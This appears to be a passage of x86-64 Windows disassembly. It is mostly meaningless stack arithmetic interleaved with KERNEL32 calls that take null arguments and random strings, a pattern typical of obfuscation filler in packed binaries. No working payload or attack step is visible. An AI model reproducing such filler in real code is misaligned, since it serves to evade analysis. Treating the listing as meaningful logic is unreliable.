mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xd7a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xce70], rax
mov r9d, 1
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xd8c8]
mov rcx, qword [rsp + 0xd7c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6744], eax
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x397]
shl eax, cl
mov byte [rsp + 0x37a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x24a8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfc8]
add eax, ecx
mov rcx, qword [0x1401c8a50]
mov word [rcx], ax
mov rax, qword [0x1401c8aa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc9c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0f8], rax
lea rax, [rsp + 0xc580]
mov qword [rsp + 0xdbf0], rax
movsx eax, word [rsp + 0x20c0]
mov rcx, qword [rsp + 0xd358]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeb8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xc858]
movzx eax, word [rax]
movzx ecx, word [0x1401c7090]
xor eax, ecx
mov rcx, qword [rsp + 0xc858]
mov word [rcx], ax
mov rax, qword [rsp + 0xb218]
mov rcx, qword [rsp + 0xcf18]
mov qword [rsp + 0xdbf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbf8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xad30], rax
movsx eax, byte [rsp + 0x3b4]
movsx ecx, byte [rsp + 0x3d2]
or eax, ecx
mov byte [rsp + 0xb2], al
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x685c], eax
mov rax, qword [rsp + 0xc3a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca00]
mov qword [rsp + 0xdc00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdc00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x98d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rcx, str.Dp9wJVC6e
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24ac], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xc9e8]
movzx eax, word [rax]
mov word [0x1401c8d68], ax
mov rcx, qword [rsp + 0xc768]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
movzx eax, word [0x1401c8acc]
mov word [rsp + 0x24b0], ax
movzx eax, byte [rsp + 0x391]
mov rcx, qword [rsp + 0xd148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3da], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xcf48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6484]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x669c], eax
mov rax, qword [rsp + 0xd3f0]
mov rcx, qword [rsp + 0xa5c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb0f8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdc08], rax
lea rdx, [rsp + 0x26450]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x66bc], eax
mov rax, qword [rsp + 0xd640]
mov rcx, qword [rsp + 0xce20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x65d0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x683c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xd2c0]
mov qword [rsp + 0xdc10], rax
movsx eax, byte [0x1401c700d]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3c6], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6434], eax
movsx eax, word [rsp + 0x2014]
movsx ecx, word [rsp + 0x2150]
or eax, ecx
mov rcx, qword [rsp + 0xdb20]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [rsp + 0x2384]
movzx ecx, word [rsp + 0x2080]
sar eax, cl
mov word [0x1401c8a58], ax
mov rax, qword [rsp + 0xd088]
mov qword [rsp + 0xdc18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0xd580]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x9c0], ax
movsx eax, word [rsp + 0x15cc]
mov rcx, qword [0x1401c8b30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11bc], ax
xor r9d, r9d
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xd208]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6860], eax
mov rax, qword [rsp + 0xdb40]
mov rcx, qword [rsp + 0xd648]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcf38], rax
lea rcx, [rsp + 0x1ff18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x64c0]
mov ecx, dword [rsp + 0x673c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x64f0], eax
lea rdx, [rsp + 0x26568]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x632c], eax
movzx ecx, word [rsp + 0x22c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f48], ax
mov r9d, 1
lea r8, [rsp + 0xd438]
mov rdx, qword [rsp + 0xd9a0]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6864], eax
mov rax, qword [rsp + 0xd418]
mov rax, qword [rax]
mov qword [rsp + 0xdc20], rax
movsx eax, byte [rsp + 0x3a5]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a7], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
movzx eax, word [rsp + 0x195c]
mov word [rsp + 0x24b4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6814], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xd690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdb0]
or rcx, rax
mov rax, rcx
mov qword [0x1401c71a8], rax
movzx eax, byte [rsp + 0x3dc]
movzx ecx, byte [rsp + 0x384]
shl eax, cl
mov byte [rsp + 0x37b], al
mov eax, dword [0x1401c8a1c]
mov ecx, dword [rsp + 0x5630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x669c], eax
lea rcx, [rsp + 0x1d7f0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, 0x23c
mov rcx, qword [rsp + 0xc4c0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6834], eax
mov rax, qword [rsp + 0xd0f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1de0], ax
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.XNGPumPplTl3z
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdc28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, word [rsp + 0x1fd0]
movzx ecx, word [rsp + 0x195c]
add eax, ecx
mov word [rsp + 0x2464], ax
movzx eax, byte [rsp + 0x255]
mov byte [rsp + 0x3e2], al
lea rdx, [rsp + 0x265a0]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6840], eax
mov rax, qword [rsp + 0xd660]
mov ecx, dword [rsp + 0x64a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd870]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd618]
mov rcx, qword [0x1401c8c78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd0f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11f8]
sar eax, cl
mov word [0x1401c8ac8], ax
mov rax, qword [rsp + 0xc620]
mov rcx, qword [rsp + 0xd0f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc828], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov r9d, 0xd63
xor r8d, r8d
lea rdx, [rsp + 0xc5f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6868], eax
mov rax, qword [rsp + 0x94c8]
mov qword [rsp + 0xdc30], rax
mov rax, qword [rsp + 0xc500]
mov rcx, qword [rsp + 0xd350]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xd9f0]
movzx eax, word [rax]
mov word [rsp + 0x24b8], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 0x22c0
xor r8d, r8d
lea rdx, [rsp + 0xcc28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x66f8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdc38], rax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xd280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x67c4], eax
movzx ecx, word [rsp + 0x23b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24bc], ax
mov r9d, 0x1ae1
xor r8d, r8d
lea rdx, [rsp + 0xc9e0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x63f0], eax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [rsp + 0x388]
mov rcx, qword [rsp + 0xd978]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3bb], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdc40], rax
mov rax, qword [rsp + 0xc5a8]
mov rcx, qword [rsp + 0xd9b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd6b0], rax
mov eax, dword [0x1401c715c]
imul eax, dword [rsp + 0x5d4c]
mov dword [rsp + 0x61c4], eax
lea rcx, [rsp + 0x1d3e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, byte [rsp + 0x3c4]
movzx ecx, byte [rsp + 0x3bc]
imul eax, ecx
mov byte [rsp + 0x374], al
lea rax, [rsp + 0x5790]
mov qword [rsp + 0xdc48], rax
movzx ecx, word [rsp + 0x2028]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24a4], ax
mov rax, qword [rsp + 0xc6b0]
movzx eax, word [rax]
mov word [0x1401c8d6c], ax
movzx eax, word [rsp + 0x1388]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2390], ax
movzx eax, word [rsp + 0x1624]
mov rcx, qword [0x1401c8ad0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11f8], ax
mov rax, qword [rsp + 0xd738]
mov rax, qword [rax]
mov qword [rsp + 0xdc50], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x243c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21e4], ax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x66b0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1d3b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xdb28]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16e], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
mov rax, qword [rsp + 0xd778]
mov rcx, qword [rsp + 0xcec0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xba90], rax
movzx eax, word [rsp + 0x214c]
mov word [rsp + 0x24c0], ax
mov rcx, qword [rsp + 0xd820]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6618], eax
movzx eax, word [rsp + 0x1c98]
mov rcx, qword [rsp + 0xc618]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.bjI9iIDluRAsBVJdU
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdc58], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xdc28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6714], eax
mov rax, qword [rsp + 0xc928]
mov rcx, qword [rsp + 0x9b48]
add rcx, rax
mov rax, rcx
mov qword [0x1401c8b58], rax
movzx eax, word [rsp + 0x22a4]
movzx ecx, word [rsp + 0x2288]
add eax, ecx
mov rcx, qword [rsp + 0xc900]
mov word [rcx], ax
lea rcx, [rsp + 0x20608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62b8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x21d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22dc], ax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64d8], eax
lea rcx, str.MU8b7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24c4], ax
mov rcx, qword [rsp + 0xd860]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0xc140]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xd350]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9858], rax
mov rax, qword [rsp + 0xdc18]
mov rcx, qword [rsp + 0x9bd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb40], rax
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov qword [rsp + 0xdc60], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67ec]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ad8], eax
mov rax, qword [rsp + 0xcdb8]
mov rcx, qword [rsp + 0xda78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5ba0], eax
lea rax, [0x1401c8a16]
mov qword [rsp + 0xdc68], rax
mov rax, qword [rsp + 0xcce8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb28]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3b2], al
lea rax, [rsp + 0x20c0]
mov qword [0x1401c8d70], rax
mov rax, qword [rsp + 0xdb20]
movzx eax, word [rax]
mov word [rsp + 0x24c8], ax
movzx eax, word [0x1401c70e4]
mov rcx, qword [rsp + 0xce68]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bc8]
or eax, ecx
mov rcx, qword [rsp + 0xd8d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xa598]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb580], rax
mov rax, qword [rsp + 0xd100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x192]
sub eax, ecx
mov rcx, qword [rsp + 0xd090]
mov byte [rcx], al
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x686c], eax
lea rcx, [rsp + 0x1d818]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x653c], eax
movsx eax, word [0x1401c8a28]
movsx ecx, word [rsp + 0x9b4]
sar eax, cl
mov rcx, qword [rsp + 0xc9f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x2490]
mov rcx, qword [rsp + 0xd788]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a48], ax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc760]
mov rcx, qword [rsp + 0x9a90]
or rcx, rax
mov rax, rcx
mov qword [0x1401c7180], rax
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6870], eax
mov rax, qword [rsp + 0xdbf0]
mov rcx, qword [rsp + 0xa8e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb5d0], rax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd730], rax
lea rcx, [rsp + 0x1d5c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xdc18]
mov rcx, qword [rsp + 0xb578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xac70], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov qword [rsp + 0xdc70], rax
movzx eax, word [rsp + 0x2210]
mov rcx, qword [rsp + 0xca48]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1fa0], ax
lea rax, [rsp + 0x57b4]
mov qword [rsp + 0xdc78], rax
movzx eax, byte [rsp + 0x3da]
movzx ecx, byte [str.5qKr]
xor eax, ecx
mov byte [rsp + 0x374], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdc80], rax
mov rcx, qword [rsp + 0xc3d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xcd60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x66d4]
shl eax, cl
mov rcx, qword [rsp + 0xc3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0e0]
mov qword [rsp + 0xdc88], rax
mov edx, 0xcb6
mov rcx, qword [rsp + 0xcbb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd7d0], rax
mov rax, qword [rsp + 0xd978]
movzx eax, byte [rax]
mov byte [0x1401c8a2a], al
movsx eax, word [rsp + 0x23bc]
movsx ecx, word [rsp + 0x23f8]
or eax, ecx
mov rcx, qword [rsp + 0xc638]
mov word [rcx], ax
movsx eax, word [rsp + 0xc48]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10a0], ax
mov rax, qword [0x1401c8ad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd2d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x95d0]
mov rcx, qword [rsp + 0xcd20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb578], rax
lea rcx, [rsp + 0x1d408]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rax, [rsp + 0xc820]
mov qword [rsp + 0xdc90], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6750], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd908], rax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x390], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xd820]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0xc490]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x5660]
mov qword [rsp + 0xdc98], rax
lea rcx, [rsp + 0x1fbb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movsx eax, word [rsp + 0xe8c]
mov rcx, qword [rsp + 0xcd98]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b20], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8d48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd3b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401c7028], ax
mov rax, qword [rsp + 0xb578]
movzx ecx, al
mov rax, qword [rsp + 0xda60]
sar rax, cl
mov qword [rsp + 0xd370], rax
movzx eax, word [0x1401c7120]
mov word [rsp + 0x24cc], ax
mov rax, qword [rsp + 0xd6a8]
mov ecx, dword [rsp + 0x6700]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x665c], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3dc]
imul eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0xd7c8]
mov ecx, dword [rsp + 0x5be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66c0], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
lea rdx, [rsp + 0x26418]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6840], eax
movsx eax, byte [rsp + 0x3bf]
mov rcx, qword [rsp + 0xca30]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x90], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdca0], rax
lea rax, [rsp + 0xae00]
mov qword [rsp + 0xdca8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movsx eax, word [0x1401c8ab8]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x18a8], ax
lea rdx, [rsp + 0x265d8]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6460], eax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x978]
shl eax, cl
mov word [0x1401c71b0], ax
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6520], eax
mov rax, qword [rsp + 0xd448]
mov qword [rsp + 0xdcb0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6640], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xd610]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa850], rax
movzx eax, word [rsp + 0x24a0]
mov word [rsp + 0x24d0], ax
lea rcx, str.TsNY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24d4], ax
movzx eax, word [rsp + 0x1e60]
movzx ecx, word [rsp + 0x1488]
sar eax, cl
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov byte [rsp + 0x38e], al
mov r9d, 1
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xda80]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x66c4], eax
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24d8], ax
lea rax, [rsp + 0x67dc]
